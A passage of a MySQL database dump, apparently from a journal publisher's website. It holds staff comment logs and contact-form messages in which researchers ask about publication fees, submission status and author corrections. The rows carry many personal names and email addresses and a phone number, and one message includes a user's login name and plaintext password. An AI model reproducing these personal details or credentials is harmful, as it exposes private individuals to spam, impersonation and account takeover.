- sam','Samsunder','2020-09-15 11:29:00'),(309,7137,1,'detailed email sent - sam','Samsunder','2020-09-15 11:29:21'),(310,7175,1,'detailed email sent - sam','Samsunder','2020-09-15 11:34:30'),(311,7097,1,'detailed email sent - sam','Samsunder','2020-09-15 11:36:19'),(312,7100,1,'detailed email sent - sam','Samsunder','2020-09-15 11:36:27'),(313,7014,1,'detailed email sent - sam','Samsunder','2020-09-15 11:39:14'),(314,7002,1,'detailed email sent - sam','Samsunder','2020-09-15 11:39:24'),(315,7001,1,'detailed email sent - sam','Samsunder','2020-09-15 11:39:33'),(316,6943,1,'detailed email sent - sam','Samsunder','2020-09-15 11:43:07'),(317,6884,1,'detailed email sent - sam','Samsunder','2020-09-15 11:44:51'),(318,7352,1,'detailed email sent - sam','Samsunder','2020-09-23 11:00:22'),(319,7387,1,'detailed email sent - sam','Samsunder','2020-09-23 11:01:09'),(320,7400,1,'detailed email sent - sam','Samsunder','2020-09-23 11:01:14'),(321,7402,1,'detailed email sent - sam','Samsunder','2020-09-23 11:01:21'),(322,7404,1,'detailed email sent - sam','Samsunder','2020-09-23 11:01:31'),(323,7408,1,'detailed email sent - sam','Samsunder','2020-09-23 11:01:41'),(324,7410,2,'detailed email sent - sam','Samsunder','2020-09-23 11:01:47'),(325,7450,1,'detailed email sent - sam','Samsunder','2020-09-23 11:20:41'),(326,7444,1,'detailed email sent - sam','Samsunder','2020-09-23 11:20:47'),(327,7443,1,'detailed email sent - sam','Samsunder','2020-09-23 11:20:53'),(328,7432,1,'detailed email sent - sam','Samsunder','2020-09-23 11:20:58'),(329,7428,1,'detailed email sent - sam','Samsunder','2020-09-23 11:21:05'),(330,7427,2,'detailed email sent - sam','Samsunder','2020-09-23 11:25:02'),(331,7424,1,'detailed email sent - sam','Samsunder','2020-09-23 11:26:07'),(332,7423,1,'detailed email sent - sam','Samsunder','2020-09-23 11:26:13'),(333,7418,1,'detailed email sent - sam','Samsunder','2020-09-23 11:26:22'),(334,7417,1,'detailed email sent - sam','Samsunder','2020-09-23 11:26:29'),(335,7338,1,'detailed email sent - sam','Samsunder','2020-09-23 11:57:41'),(336,7286,1,'detailed email sent - sam','Samsunder','2020-09-23 12:00:14'),(337,7455,1,'detailed email sent - sam','Samsunder','2020-09-25 10:46:29'),(338,7466,1,'detailed email sent - sam','Samsunder','2020-09-25 10:46:36'),(339,7467,1,'detailed email sent - sam','Samsunder','2020-09-28 09:59:31'),(340,7479,1,'detailed email sent - sam','Samsunder','2020-09-28 09:59:37'),(341,7491,1,'detailed email sent - sam','Samsunder','2020-09-28 09:59:43'),(342,7492,1,'detailed email sent - sam','Samsunder','2020-09-28 09:59:48'),(343,7533,1,'detailed email sent - sam','Samsunder','2020-09-30 14:49:45'),(344,7529,1,'detailed email sent - sam','Samsunder','2020-09-30 14:49:50'),(345,7525,1,'detailed email sent - sam','Samsunder','2020-09-30 14:49:58'),(346,7517,1,'detailed email sent - sam','Samsunder','2020-09-30 14:50:06'),(347,7515,1,'detailed email sent - sam','Samsunder','2020-09-30 14:50:12'),(348,7514,1,'detailed email sent - sam','Samsunder','2020-09-30 14:50:36'),(349,7513,2,'detailed email sent - sam','Samsunder','2020-09-30 14:50:42'),(350,7507,1,'detailed email sent - sam','Samsunder','2020-09-30 14:50:50'),(351,7505,1,'detailed email sent - sam','Samsunder','2020-09-30 14:50:55'),(352,7504,1,'detailed email sent - sam','Samsunder','2020-09-30 14:51:01'),(353,7429,1,'detailed email sent - sam','Samsunder','2020-09-30 15:00:30'),(354,7393,1,'detailed email sent - sam','Samsunder','2020-09-30 15:20:52'),(355,7345,1,'detailed email sent - sam','Samsunder','2020-09-30 15:21:01'),(356,7534,1,'detailed email sent - sam','Samsunder','2020-10-02 06:26:58'),(357,7536,1,'detailed email sent - sam','Samsunder','2020-10-02 06:27:05'),(358,7539,1,'detailed email sent - sam','Samsunder','2020-10-05 12:14:27'),(359,7548,1,'detailed email sent - sam','Samsunder','2020-10-05 12:14:34'),(360,7551,1,'detailed email sent - sam','Samsunder','2020-10-05 12:14:43'),(361,7552,1,'detailed email sent - sam','Samsunder','2020-10-05 12:14:50'),(362,7557,1,'detailed email sent - sam','Samsunder','2020-10-05 12:14:59'),(363,7564,1,'detailed email sent - sam','Samsunder','2020-10-05 12:15:06'),(364,7565,1,'detailed email sent - sam','Samsunder','2020-10-07 12:48:38'),(365,7566,1,'detailed email sent - sam','Samsunder','2020-10-07 12:48:46'),(366,7569,1,'detailed email sent - sam','Samsunder','2020-10-07 12:48:51'),(367,7577,1,'detailed email sent - sam','Samsunder','2020-10-07 12:48:56'),(368,7541,1,'detailed email sent - sam','Samsunder','2020-10-07 12:53:07'),(369,7489,1,'spam -sam','Samsunder','2020-10-07 12:54:25'),(370,7376,1,'detailed email sent - sam','Samsunder','2020-10-07 12:55:04'),(371,7317,2,'detailed email sent - sam','Samsunder','2020-10-07 12:56:19'),(372,7613,1,'detailed email sent - sam','Samsunder','2020-10-10 13:40:16'),(373,7611,1,'detailed email sent - sam','Samsunder','2020-10-10 13:40:24'),(374,7609,1,'detailed email sent - sam','Samsunder','2020-10-10 13:40:31'),(375,7601,1,'detailed email sent - sam','Samsunder','2020-10-10 13:40:44'),(376,7593,1,'detailed email sent - sam','Samsunder','2020-10-10 13:40:51'),(377,7590,1,'detailed email sent - sam','Samsunder','2020-10-10 13:41:00'),(378,7584,1,'detailed email sent - sam','Samsunder','2020-10-10 13:41:07'),(379,7582,1,'detailed email sent - sam','Samsunder','2020-10-10 13:41:17'),(380,7581,1,'detailed email sent - sam','Samsunder','2020-10-10 13:41:27'),(381,7578,1,'detailed email sent - sam','Samsunder','2020-10-10 13:41:34'),(382,7615,1,'detailed email sent - sam','Samsunder','2020-10-12 14:52:20'),(383,7621,1,'detailed email sent - sam','Samsunder','2020-10-12 14:52:29'),(384,7622,2,'detailed email sent - sam','Samsunder','2020-10-12 14:52:38'),(385,7623,2,'detailed email sent - sam','Samsunder','2020-10-12 14:52:49'),(386,7624,1,'detailed email sent - sam','Samsunder','2020-10-12 14:52:57'),(387,7625,1,'detailed email sent - sam','Samsunder','2020-10-12 14:53:04'),(388,7626,2,'detailed email sent - sam','Samsunder','2020-10-12 14:53:17'),(389,7630,1,'detailed email sent - sam','Samsunder','2020-10-12 14:53:25'),(390,7668,1,'detailed email sent - sam','Samsunder','2020-10-16 07:12:47'),(391,7664,1,'detailed email sent - sam','Samsunder','2020-10-16 07:12:55'),(392,7663,1,'detailed email sent - sam','Samsunder','2020-10-16 07:13:03'),(393,7661,1,'detailed email sent - sam','Samsunder','2020-10-16 07:13:10'),(394,7660,2,'detailed email sent - sam','Samsunder','2020-10-16 07:13:17'),(395,7653,1,'detailed email sent - sam','Samsunder','2020-10-16 07:13:26'),(396,7651,1,'detailed email sent - sam','Samsunder','2020-10-16 07:13:35'),(397,7646,1,'detailed email sent - sam','Samsunder','2020-10-16 07:13:43'),(398,7645,2,'detailed email sent - sam','Samsunder','2020-10-16 07:13:49'),(399,7641,1,'detailed email sent - sam','Samsunder','2020-10-16 07:13:55'),(400,7640,1,'detailed email sent - sam','Samsunder','2020-10-16 07:14:06'),(401,7684,1,'detailed email sent - sam','Samsunder','2020-10-19 12:38:05'),(402,7690,1,'detailed email sent - sam','Samsunder','2020-10-20 14:20:19'),(403,7692,1,'detailed email sent - sam','Samsunder','2020-10-20 14:20:26'),(404,7696,1,'detailed email sent - sam','Samsunder','2020-10-20 14:20:31'),(405,7698,1,'detailed email sent - sam','Samsunder','2020-10-20 14:20:37'),(406,7699,1,'detailed email sent - sam','Samsunder','2020-10-20 14:20:43'),(407,7639,1,'detailed email sent - sam','Samsunder','2020-10-20 14:44:01'),(408,7605,1,'detailed email sent - sam','Samsunder','2020-10-20 14:49:54'),(409,7702,1,'detailed email sent - sam','Samsunder','2020-10-23 16:15:20'),(410,7713,1,'detailed email sent - sam','Samsunder','2020-10-23 16:15:26'),(411,7717,1,'detailed email sent - sam','Samsunder','2020-10-23 16:15:32'),(412,7719,1,'detailed email sent - sam','Samsunder','2020-10-23 16:15:38'),(413,7728,1,'detailed email sent - sam','Samsunder','2020-10-23 16:15:46'),(414,7731,1,'detailed email sent - sam','Samsunder','2020-10-23 16:15:53'),(415,7739,1,'detailed email sent - sam','Samsunder','2020-10-24 13:56:00'),(416,7749,1,'detailed email sent - sam','Samsunder','2020-10-28 11:47:23'),(417,7752,1,'detailed email sent - sam','Samsunder','2020-10-28 11:47:31'),(418,7753,1,'detailed email sent - sam','Samsunder','2020-10-28 11:47:38'),(419,7755,1,'detailed email sent - sam','Samsunder','2020-10-28 11:47:53'),(420,7756,1,'detailed email sent - sam','Samsunder','2020-10-28 11:48:00'),(421,7761,1,'detailed email sent - sam','Samsunder','2020-10-28 11:48:09'),(422,7765,1,'detailed email sent - sam','Samsunder','2020-10-28 11:48:18'),(423,7767,1,'detailed email sent - sam','Samsunder','2020-10-28 11:48:26'),(424,7773,1,'detailed email sent - sam','Samsunder','2020-10-29 15:49:34'),(425,7809,1,'detailed email sent - sam','Samsunder','2020-11-04 11:12:52'),(426,7811,1,'detailed email sent - sam','Samsunder','2020-11-04 11:12:59'),(427,7818,1,'detailed email sent - sam','Samsunder','2020-11-04 11:13:05'),(428,7822,1,'detailed email sent - sam','Samsunder','2020-11-04 11:13:11'),(429,7825,1,'detailed email sent - sam','Samsunder','2020-11-04 11:13:17'),(430,7833,1,'detailed email sent - sam','Samsunder','2020-11-04 11:13:24'),(431,7834,1,'detailed email sent - sam','Samsunder','2020-11-04 11:13:29'),(432,7844,1,'detailed email sent - sam','Samsunder','2020-11-09 22:46:24'),(433,7852,1,'detailed email sent - sam','Samsunder','2020-11-09 22:46:32'),(434,7859,1,'detailed email sent - sam','Samsunder','2020-11-09 22:46:42'),(435,7865,1,'detailed email sent - sam','Samsunder','2020-11-09 22:46:49'),(436,7867,1,'detailed email sent - sam','Samsunder','2020-11-09 22:46:56'),(437,7874,1,'detailed email sent - sam','Samsunder','2020-11-09 22:47:04'),(438,7877,1,'detailed email sent - sam','Samsunder','2020-11-09 22:47:12'),(439,7908,1,'detailed email sent - sam','Samsunder','2020-11-13 13:35:26'),(440,7906,1,'detailed email sent - sam','Samsunder','2020-11-13 13:35:33'),(441,7905,1,'detailed email sent - sam','Samsunder','2020-11-13 13:35:42'),(442,7898,1,'detailed email sent - sam','Samsunder','2020-11-13 13:35:50'),(443,7896,1,'detailed email sent - sam','Samsunder','2020-11-13 13:35:58'),(444,7895,1,'detailed email sent - sam','Samsunder','2020-11-13 13:36:08'),(445,7892,1,'detailed email sent - sam','Samsunder','2020-11-13 13:36:18'),(446,7891,1,'detailed email sent - sam','Samsunder','2020-11-13 13:36:26'),(447,7888,1,'detailed email sent - sam','Samsunder','2020-11-13 13:36:33'),(448,7881,1,'detailed email sent - sam','Samsunder','2020-11-13 13:36:40'),(449,7912,1,'detailed email sent - sam','Samsunder','2020-11-16 10:58:06'),(450,7920,1,'detailed email sent - sam','Samsunder','2020-11-16 10:58:13'),(451,7930,1,'detailed email sent - sam','Samsunder','2020-11-16 10:58:21'),(452,7950,1,'detailed email sent - sam','Samsunder','2020-11-19 06:05:27'),(453,7947,1,'detailed email sent - sam','Samsunder','2020-11-19 06:05:33'),(454,7941,1,'detailed email sent - sam','Samsunder','2020-11-19 06:05:39'),(455,7936,1,'detailed email sent - sam','Samsunder','2020-11-19 06:05:46'),(456,7961,1,'detailed email sent - sam','Samsunder','2020-11-20 23:56:20'),(457,8020,1,'detailed email sent - sam','Samsunder','2020-11-26 22:47:07'),(458,8019,1,'detailed email sent - sam','Samsunder','2020-11-26 22:47:14'),(459,8012,1,'detailed email sent - sam','Samsunder','2020-11-26 22:47:22'),(460,8010,1,'detailed email sent - sam','Samsunder','2020-11-26 22:47:31'),(461,8005,1,'detailed email sent - sam','Samsunder','2020-11-26 22:47:41'),(462,8000,1,'detailed email sent - sam','Samsunder','2020-11-26 22:48:01'),(463,7995,1,'detailed email sent - sam','Samsunder','2020-11-26 22:48:13'),(464,7982,1,'detailed email sent - sam','Samsunder','2020-11-26 22:48:23'),(465,7981,1,'detailed email sent - sam','Samsunder','2020-11-26 22:48:31'),(466,7976,1,'detailed email sent - sam','Samsunder','2020-11-26 22:48:38'),(467,7973,1,'detailed email sent - sam','Samsunder','2020-11-26 22:48:55'),(468,8026,1,'detailed email sent - sam','Samsunder','2020-11-28 10:47:09'),(469,8027,1,'detailed email sent - sam','Samsunder','2020-11-28 10:47:17'),(470,8029,1,'detailed email sent - sam','Samsunder','2020-11-28 10:47:23'),(471,8048,1,'detailed email sent - sam','Samsunder','2020-12-03 00:01:55'),(472,8050,1,'detailed email sent - sam','Samsunder','2020-12-03 00:02:01'),(473,8055,1,'detailed email sent - sam','Samsunder','2020-12-06 20:57:53'),(474,8066,1,'detailed email sent - sam','Samsunder','2020-12-06 20:58:01'),(475,8072,1,'detailed email sent - sam','Samsunder','2020-12-06 20:58:08'),(476,8081,1,'detailed email sent - sam','Samsunder','2020-12-06 20:58:14'),(477,8080,1,'detailed email sent - sam','Samsunder','2020-12-06 20:58:25'),(478,7990,1,'detailed email sent - sam','Samsunder','2020-12-07 03:40:11'),(479,7970,1,'detailed email sent - sam','Samsunder','2020-12-07 03:40:24'),(480,7863,1,'detailed email sent - sam','Samsunder','2020-12-07 03:40:43'),(481,7853,1,'detailed email sent - sam','Samsunder','2020-12-07 03:40:51'),(482,7827,1,'detailed email sent - sam','Samsunder','2020-12-07 03:41:03'),(483,7813,1,'detailed email sent - sam','Samsunder','2020-12-07 03:41:11'),(484,7806,1,'detailed email sent - sam','Samsunder','2020-12-07 03:41:18'),(485,7805,1,'detailed email sent - sam','Samsunder','2020-12-07 03:41:24'),(486,7768,1,'detailed email sent - sam','Samsunder','2020-12-07 03:41:36'),(487,7642,1,'detailed email sent - sam','Samsunder','2020-12-07 03:41:59'),(488,8079,1,'detailed email sent - sam','Samsunder','2020-12-10 04:01:33'),(489,8092,1,'detailed email sent - sam','Samsunder','2020-12-10 04:01:41'),(490,8098,1,'detailed email sent - sam','Samsunder','2020-12-10 04:01:47'),(491,8105,1,'detailed email sent - sam','Samsunder','2020-12-10 04:01:55'),(492,8108,1,'detailed email sent - sam','Samsunder','2020-12-10 04:02:02'),(493,8110,1,'detailed email sent - sam','Samsunder','2020-12-10 04:02:12'),(494,8112,1,'detailed email sent - sam','Samsunder','2020-12-10 04:02:20'),(495,8113,1,'detailed email sent - sam','Samsunder','2020-12-10 04:02:26'),(496,8198,1,'detailed email sent - sam','Samsunder','2020-12-19 09:38:21'),(497,8147,1,'detailed email sent - sam','Samsunder','2020-12-19 09:38:31'),(498,8158,1,'detailed email sent - sam','Samsunder','2020-12-19 09:38:39'),(499,8162,1,'detailed email sent - sam','Samsunder','2020-12-19 09:38:46'),(500,8168,1,'detailed email sent - sam','Samsunder','2020-12-19 09:38:56'),(501,8170,1,'detailed email sent - sam','Samsunder','2020-12-19 09:39:02'),(502,8173,1,'detailed email sent - sam','Samsunder','2020-12-19 09:39:11'),(503,8180,1,'detailed email sent - sam','Samsunder','2020-12-19 09:39:18'),(504,8194,1,'detailed email sent - sam','Samsunder','2020-12-19 09:39:25'),(505,8195,1,'detailed email sent - sam','Samsunder','2020-12-19 09:39:32'),(506,8111,1,'detailed email sent - sam','Samsunder','2020-12-19 09:39:48'),(507,8118,1,'detailed email sent - sam','Samsunder','2020-12-19 09:40:00'),(508,8122,1,'detailed email sent - sam','Samsunder','2020-12-19 09:40:09'),(509,8124,1,'detailed email sent - sam','Samsunder','2020-12-19 09:40:15'),(510,8127,1,'detailed email sent - sam','Samsunder','2020-12-19 09:40:22'),(511,8134,1,'detailed email sent - sam','Samsunder','2020-12-19 09:40:28'),(512,8141,1,'detailed email sent - sam','Samsunder','2020-12-19 09:40:35'),(513,8145,1,'detailed email sent - sam','Samsunder','2020-12-19 09:40:41'),(514,8146,1,'detailed email sent - sam','Samsunder','2020-12-19 09:40:48'),(515,8083,1,'detailed email sent - sam','Samsunder','2020-12-19 09:41:06');
/*!40000 ALTER TABLE `bd_comments` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `contact_us`
--

DROP TABLE IF EXISTS `contact_us`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `contact_us` (
  `c_id` int NOT NULL AUTO_INCREMENT,
  `c_name` varchar(50) NOT NULL,
  `c_email` varchar(50) NOT NULL,
  `c_journal` int NOT NULL,
  `c_subject` varchar(100) DEFAULT NULL,
  `c_message` longtext,
  `c_date` date NOT NULL,
  PRIMARY KEY (`c_id`)
) ENGINE=InnoDB AUTO_INCREMENT=727 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `contact_us`
--

LOCK TABLES `contact_us` WRITE;
/*!40000 ALTER TABLE `contact_us` DISABLE KEYS */;
INSERT INTO `contact_us` VALUES (51,'Susan Njuguna','njugunarsm@gmail.com',85,'Publication','What are the processing charges for the journal?','2019-08-04'),(96,'khadijehalsadat Tahamtan','samanehtahamtan@gmail.com',91,'','i have submitted the manuscript, but once  i want to check the status, it showing that , there in no article uploaded .  \r\n   please do the needful . \r\nthanks in advance ','2019-08-22'),(117,'Moataz Farid','motazfarid2019@gmail.com',91,'Asking','Dear Sir\r\nI have 2 research articles and i want to publish them in your journal in any volume in 2017 and 2018\r\nIf you accept the manuscripts, what are the fees for both articles\r\nThank you\r\n\r\n','2019-08-28'),(174,'Jesús Igledsias-Acosta','iglesias58@hotmail.com',277,'No recepción de código después de envío para evaluación','he sometido un artículo científico para la revista Archivos de Medicina y no he recibido código','2019-09-13'),(182,'Susan Njuguna','njugunarsm@gmail.com',85,'Publication','How much do you charge for publication processing?','2019-09-27'),(184,'Zacchaeus Adejuyigbe','adezacks@gmail.com',251,'Enquiries on Waiver of Article Processing Charge','Dear editors,\r\nPlease, I wish to know if I can get my article published free of charge, or is there a waiver for those ofnusnin the low/middle-income countries?\r\n\r\nThank you in anticipation of your kind reply.','2019-10-02'),(190,'Wilson','arelys_estefania92@hotmail.com',277,'Información','Buen día, escribo para solicitar información sobre cómo publicar artículos en su revista especialmente tiempos de aceptación y publicación desde que se envía el archivo y costos. Gracias.','2019-10-24'),(191,'khalida yasmin','khalidayasmin50@gmail.com',45,'ethics','i want to publication of my article','2019-11-09'),(193,'Patricia Abbott','patricia.abbott@cuanschutz.edu',73,'What is required in an opinion article','I am preparing an opinion article in your journal. I am not seeing the requirements for this. Is there a word limit etc?\r\nThank you in advance for your input.\r\npat','2019-11-13'),(197,'evelyn onosakponome','eonosakponome@pums.edu.ng',251,'publication','i want to know\r\n1.article publication fee for achivesof clinical microbiology\r\n2. when the next issue is due to the publshed\r\n3. how long it takes to process and accept articles.\r\nthanks','2019-11-16'),(201,'V.Jayapal','jayapalv@mgmcri.ac.in',91,'Anti   bacterilal effect  of Essential oil  from plant  ','What is the charge (  amount to be paid )for publishing in this journal?','2019-11-29'),(212,'nedaa','dr.nedaa-bantan@hotmail.com',73,'systemic review ','hello\r\nwe have a systemic review we would like to publish it what the process? and whats fee? and is it link with pubmed ?','2020-01-07'),(215,'Shazia Azeem','shazki164@gmail.com',86,'Research paper on cardiovascular disease','I have data that was collected in 2010 for my PhD thesis. Can I use that data for writing another research paper?','2020-01-16'),(220,'Jacob Davis','jake.davis@state.sd.us',639,'login information','I submitted a manuscript on Friday, January 24th entitled \"Retention of Passive Integrated Transponders (PIT) Tags in Juvenile Rainbow Trout and Brown Trout\"; however, never received a confirmation. ','2020-01-27'),(221,'Dr. Barikpoa Uedeme-Naa','barikpoa.uedeme-naa@uniport.edu.ng',639,'Enquery','How much is your handling charge and how many times do you publish in a year?\r\n\r\n\r\n','2020-01-28'),(225,'Karandeep Singh Bhatti','karandeepsinghbhatti22@gmail.com',86,'Regarding the cost of submission of a case report','Hello! \r\nI wish to submit the case report in your journal. Can you please tell me the cost of it?','2020-02-02'),(235,'Harsha','mvharsha92@gmail.com',971,'Case report publication','Dear sir / madam \r\n\r\nI am writing to clarify certain details. Is your journal Copernicus indexed ? \r\nAnd what would be expected time for acknowledgement from the Journal and time of publication if accepted. \r\n\r\nThank you ','2020-02-17'),(241,'aseer manilal','aseermanilal@gmail.com',667,'Urgent action requested','Dear Editor\r\nI would like to introduce myself as an Editorial member of Translational Biomedicine since 2014. And I am glad to say that I have published 6 papers in your reputed journal. Presently, I am on the verge on completing two articles pertaining to the field of Antimicrobials. I expect your cooperation on publishing that two papers in near months. I was written this letter to inform you about a grave mistake that you have committed when I published an article entitled Prevalence, Diversity and antimicrobial Resistance of Bacteria Isolated from the UTI WÄ‚ÆŸÄžnƚƐ of Arba Minch Province, Southern Ethiopia. ( DOI: 10.21767/2172-0479.100081 , Vol.7 No.3:81, 2016). In the final galley proof, I have given names of six authors ( Tigist Gezmu, Belayneh Regasa, Aseer Manilal, Mohammedaman Mama, Tadios Hailu and Behailu Merdekios). But when you  publish the paper, the name of the second last author  Tadios Hailu was missing in the online HTML version (http://www.transbiomedicine.com/translational-biomedicine/prevalence-diversity-and-antimicrobial-resistance-of-bacteria-isolated-from-the-uti-patients-of-arba-minch-province-southern-ethio.php?aid=13613) of the journal. However the PDF version is correctly showing the author name. As you know that each person has given invaluable contribution to publish that paper. That is my moral responsibility to intimate the serious lapse which you have committed. Therefore, I beseech your good office to amend the online version of the paper with all the authors names. Besides, I would like to remind, Its also a university regulation to list all the authors name who have contributed to complete the research article. Otherwise, it can affect my reputation in the University\r\n\r\nExpecting your prompt action\r\n\r\nWith professional regards\r\nDr. Aseer Manilal, Ph.d.,\r\n\r\n \r\n\r\nAssistant Professor \r\n\r\nDepartment of Medical Lab Sciences\r\n\r\nCollege of Medicine and Health Sciences\r\n\r\nArba Minch University\r\n\r\nArba Minch, Ethiopia\r\n\r\nTel: +251-919904201\r\n\r\nEmail: aseermanilal@gmail.com','2020-03-03'),(245,'Asghar Khan','asghar802@gmail.com',45,'charges for an article','Dear sir/Madam\r\nPlease may i have the information regarding the processing and publication of the article\r\nRegards\r\nAsghar Khan','2020-03-06'),(246,'Asma','asma0708@live.fr',45,'Submission in the journal','Hello, please I am interested in sumitting in your journal but I want to know if there are any fees and if yes how much.\r\nThank you.','2020-03-07'),(258,'Dr Bunny Saberwal','hhy379@qmul.ac.uk',86,'Title change','March 22th, 2020\r\n\r\nDear Editor-in-Chief,\r\n\r\nMany thanks for considering our manuscript entitled ‘Covid-19: What goes around, comes around’ for publication in the Archives of Medicine journal.\r\n\r\nThis article reviews the growing body of evidence surrounding the current Covid-19 pandemic. We feel it serves as a useful overview of the current opinions regarding epidemiology, transmission, therapeutics, and prevention necessary for hospital doctors around the world who will undoubtedly encounter this situation.\r\n\r\nWe confirm that this manuscript has not been published elsewhere and is not under consideration by another journal. All authors have approved the manuscript and agree with its submission to Archives of Medicine. \r\n\r\nThank you for taking the time to consider this manuscript. \r\n\r\nI look forward to hearing from you\r\n\r\nYours Sincerely \r\n\r\nDr Bunny Saberwal\r\n\r\n\r\nPS: We request a title change on the original submitted version to the one in this cover letter. Many thanks and apologies for any inconvenience caused.\r\n','2020-03-23'),(259,'Anthony Gilbert','dentaltreatmentmeet@gmil.com',277,'Media partner proposal','Dear Manager,\r\nI am writing this mail towards the Media Partnership proposal. We would like to collaborate with your organization as a MEDIA PARTNER. We would like to request you to list out our conference in your events lists; we also want all the medical experts to know about the conference through this mail and kindly let us know if anyone is interested.\r\nWe would also make your logo visible on our website and redirected directly to your home page.\r\nDetails about the meeting\r\nName: 27th International Conference on Dental Treatment\r\nPlace: Budapest, Hungary \r\nDate: September 7-8, 2020\r\nWebsite: https://dentaltreatment.euroscicon.com/\r\nWe look forward to receive your interest to inform further details about the benefits that each other can avail.\r\nFor any further details or query, please do not hesitate to text me.\r\nRegards,\r\nAnthony Gilbert\r\n\r\n','2020-03-24'),(263,'Emmanuel Ekanem','emmanuelekanem81@yahoo.com',971,'Article','Hello, my name is Emmanuel Ekanem a trainee in obstetrics and gynaecology in the UK and I have a case report that I wan to publish. How do I go about that please and the cost. Thank you','2020-03-31'),(264,'Emmanuel Ekanem','emmanuelekanem81@yahoo.com',971,'Article','Hello, my name is Emmanuel Ekanem a trainee in obstetrics and gynaecology in the UK and I have a case report that I wan to publish. How do I go about that please and the cost. Thank you','2020-03-31'),(283,'Mukta Verma','drmukta23@gmail.com',326,'Authenticity of the journal[journal of universal surgery]','Good noon sir/madam.This is for the second time when i have chosen this platform to publish  my research work.I am working on more articles and want to publish them as well .Kindly let me know about the impact factor of this journal .I am worried as there are so many predatory journals .Thanks and regards.\r\n','2020-05-15'),(284,'Mukta Verma','drmukta23@gmail.com',326,'Authenticity of the journal[journal of universal surgery]','Good noon sir/madam.This is for the second time when i have chosen this platform to publish  my research work.I am working on more articles and want to publish them as well .Kindly let me know about the impact factor of this journal .I am worried as there are so many predatory journals .Thanks and regards.\r\n','2020-05-15'),(285,'Ahmed Osman','sudanup@hotmail.com',45,'APC fee','What is the APC fee for the original article with less than 4000 words and 5 tables? in Health Science Journal\r\nThank you','2020-05-16'),(286,'mohammed','mohamedateg@yahoo.com',975,'','not found password please help me to open this my account ','2020-05-18'),(287,'Vicente Costa','vicentelobatoc@gmail.com',326,'Article submission fee','Good morning. My name is Vicente and I’m a general surgery resident from Brazil. I would like to know if there is any fee for submiting a case report to your journal.\r\n\r\nBest regards.','2020-05-18'),(289,'Jeevan Francis','jeevanfrancis15@gmail.com',667,'Manuscript Submission','Hello,\r\n\r\nI just submitted my manuscript for \"Unravelling the Role of Stem Cells in Chronic Myeloid Leukaemia and Potential Treatments \". Can you advise how long the reviewing process for the paper will take?\r\n\r\nKindest Regards,\r\nJeevan ','2020-05-21'),(291,'leila','leilaheydare63@yahoo.com',45,'','I submitted my article and what can I do with my username and password?\r\nuser:leila\r\npass word: h3p4ksod','2020-05-23'),(293,'Georgia Raniolo','georgiaraniolo@hotmail.com',85,'Authorship','To whom it may concern:\r\n\r\nI am interested in submitting a manuscript to the Health Systems and Policy Research Journal, however, can see that there is only the option to credit one author with the submission. Is it possible to credit multiple authors?\r\n\r\nLooking forward to your response.\r\n\r\nKind regards,\r\n\r\nGeorgia Raniolo','2020-05-26'),(296,'Omer','majidy6@yahoo.com',45,'Fee','Dear Sir/Madam \r\n        I would like to know the fee of both case reports and research’s in your journal, please?\r\n\r\nBest regards \r\n\r\nÖmer ','2020-06-04'),(298,'Tijani Idris Ahmad Oseni','tijanioseni@yahoo.com',86,'Article Submission','I submitted an Article on \"THE FAMILY PHYSICIANS IN A TERTIARY SETTING IN COVID-19 PANDEMIC IN NIGERIA: THE ISTH EXPERIENCE.\" I am yet to get any response from you. Thank you.','2020-06-06'),(308,'priya t','priya.tomar@sharda.ac.in',45,'publication','are there any submission/publication charges in journal?','2020-06-21'),(309,'R Moses Inbaraj','rmosesinbaraj@gmail.com',639,'Fisheries','To publish article in your Journal of Fisheries Science, how much to be paid. Please reply.','2020-06-23'),(311,'Qais Gasibat','drqaiss9@gmail.com',45,'letter to editor ','i have paper i would to like to publish ( letter to editor about covid 19)\r\ni would like to ask if this journal Scopus index \r\n','2020-06-26'),(318,'Irfan jamil','irfanravian51@gmail.com',45,'Publication fee','Kindly tell me review time for an Article and publication charges ','2020-07-09'),(320,'Patricia Royal','patricia.royal@uthct.edu',85,'manuscript submission','Hello, Can you please advise on the page limit for manuscript submission and the number of authors that are allowed on one manuscript. I have a manuscript on the \"Cost of Specialty Drugs\" but it is rather long. Thanks','2020-07-09'),(327,'hiral manani','hiralmanani812@gmail.com',91,'regarding not able to submit the article.','dear editor,\r\n\r\nI hiral manani trying to submit my article online but its shows name and email id already registered and when i try with my userid and password got by verification again it shows wrong password.\r\n\r\nplz help me for submit article.','2020-07-20'),(335,'Aditya Singh','simmuadityasingh1996@gmail.com',91,'Pharmaceutics','I want to','2020-07-26'),(336,'kaoutar CHERRABI','cherrabi.kaoutar@gmail.com',86,'About adding authors to a published article. ','Dear Sir. \r\nI have published an article in your journal this last March and have forgotten to mention two authors my tutor included. Can I still correct that ? Looking forward to publishing more articles in your plateforme. Thank you.  ','2020-07-30'),(345,'Fahmida Sultana Rima','fahmidarima7@gmail.com',975,'Regarding reference style of paper','I want to submit a review article in your journal, Journal of Biomedical Sciences. But I am a bit confused about the reference style. It says numbered citation style, can any of these styles be used or a specific style is required to submit the paper?\r\nIt would be kind enough if you let me know as soon as possible so that I can submit it to your esteemed journal.\r\n\r\n','2020-08-16'),(346,'Fahmida Sultana Rima','fahmidarima7@gmail.com',975,'Regarding New submission  of my manuscript ','Hello,\r\n I submitted manuscript  entitled \"Gender and immunosenescence dependent progression of COVID-19 in Bangladeshi population\" of your journal on dated 16.08.2020. Still now I did not get any confirmation  email form journal office. I am waiting for your response.','2020-08-17'),(347,'Emanuela Fidelix','efidelix@gmail.com',73,'submit manuscript','Hi. I sent a manuscript (title: \"Adult onset Rasmussen’s Encephalopathy with good response to Rituximab: looking for disease control\") on July 30th and did not receive confirmation of  submission.','2020-08-18'),(348,'Dr. Mekonnen Addis','mekonnenaddis2010@yahoo.com',45,'Current status','My articles iphsj-20-4109 and iphsj-20-4092 were accepted several months ago at your reputable journal and were not moved to the next step. \r\nI request your action to release them at your upcoming issue','2020-08-19'),(351,'subhasree','c.r.subhasree@gmail.com',971,'regarding submission','I have submitted the manuscript, but no reply or acknowledgment mail. Please reply as soon as possible.','2020-08-22'),(356,'Yasir Mehmood Malik','yasirmmalik@gmail.com',73,'Inquiry about manuscript ipjnn-20-4915','Dear Sir, \r\nI submitted my manuscript (Ref No.  ipjnn-20-4915) on 28th June, 2020. It was approved by editor  and is  still under review. \r\nKindly expedite the process and give reminder to 